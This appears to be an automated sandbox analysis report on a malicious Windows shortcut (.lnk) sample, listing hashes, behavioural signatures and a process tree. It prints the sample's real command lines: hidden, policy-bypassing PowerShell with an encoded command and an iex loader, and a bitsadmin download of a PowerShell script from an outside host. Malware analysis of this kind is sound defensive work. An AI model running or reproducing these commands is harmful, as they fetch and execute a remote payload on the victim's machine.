Analysis
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max time kernel
147s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
12/06/2024, 15:10
Static task
static1
Behavioral task
behavioral1
Sample
a11a90303a1542f465542239afc4ea60_JaffaCakes118.lnk
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
a11a90303a1542f465542239afc4ea60_JaffaCakes118.lnk
Resource
win10v2004-20240508-en
General
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Target
a11a90303a1542f465542239afc4ea60_JaffaCakes118.lnk
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Size
3KB
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MD5
a11a90303a1542f465542239afc4ea60
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SHA1
5a460235ae007d26e6938870c81c3913d6dbd61d
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SHA256
8d7de3083012dd352a020eee216a6acdf08aed1a1f69cce481f7353274e4c82c
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SHA512
76096ca945c2c31d50c7daba6b7f140a8cda4d3b1bf411f4cc7fe10e151086cd2e0703f8b0b8f7ad181f6959491b6961ec27361eb9de8700a4958cac338e94b2
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1424 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Download via BitsAdmin 1 TTPs 1 IoCs
pid Process 2900 bitsadmin.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 664 powershell.exe 664 powershell.exe 1424 powershell.exe 1424 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 664 powershell.exe Token: SeDebugPrivilege 1424 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 1020 wrote to memory of 664 1020 cmd.exe 83 PID 1020 wrote to memory of 664 1020 cmd.exe 83 PID 664 wrote to memory of 1424 664 powershell.exe 84 PID 664 wrote to memory of 1424 664 powershell.exe 84 PID 1424 wrote to memory of 1912 1424 powershell.exe 87 PID 1424 wrote to memory of 1912 1424 powershell.exe 87 PID 1424 wrote to memory of 4888 1424 powershell.exe 89 PID 1424 wrote to memory of 4888 1424 powershell.exe 89 PID 4888 wrote to memory of 2900 4888 cmd.exe 91 PID 4888 wrote to memory of 2900 4888 cmd.exe 91
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\a11a90303a1542f465542239afc4ea60_JaffaCakes118.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1020 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -eP ByPass -nonI -c "&{powershell -wi"N "hi"dDen -c {$b7oc=findstr /s mrildkpased c:\users\*.lnk; "$b7oc" | iex}}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:664 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -wiN hidDen -encodedCommand JABiADcAbwBjAD0AZgBpAG4AZABzAHQAcgAgAC8AcwAgAG0AcgBpAGwAZABrAHAAYQBzAGUAZAAgAGMAOgBcAHUAcwBlAHIAcwBcACoALgBsAG4AawA7ACAAJABiADcAbwBjACAAfAAgAGkAZQB4AA== -inputFormat xml -outputFormat text3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1424 -
C:\Windows\system32\findstr.exe"C:\Windows\system32\findstr.exe" /s mrildkpased c:\users\*.lnk4⤵PID:1912
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /C echo 1 > C:\Users\Admin\AppData\Roaming\\d & bitsadmin /transfer mrildkpased /download /priority FOREGROUND "https://internetmarketing4pros.com/marco/pro" C:\Users\Admin\AppData\Roaming\\vWjXOBtIxaArTN.ps1 & del C:\Users\Admin\AppData\Roaming\\d & exit4⤵
- Suspicious use of WriteProcessMemory
PID:4888 -
C:\Windows\system32\bitsadmin.exebitsadmin /transfer mrildkpased /download /priority FOREGROUND "https://internetmarketing4pros.com/marco/pro" C:\Users\Admin\AppData\Roaming\\vWjXOBtIxaArTN.ps15⤵
- Download via BitsAdmin
PID:2900
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82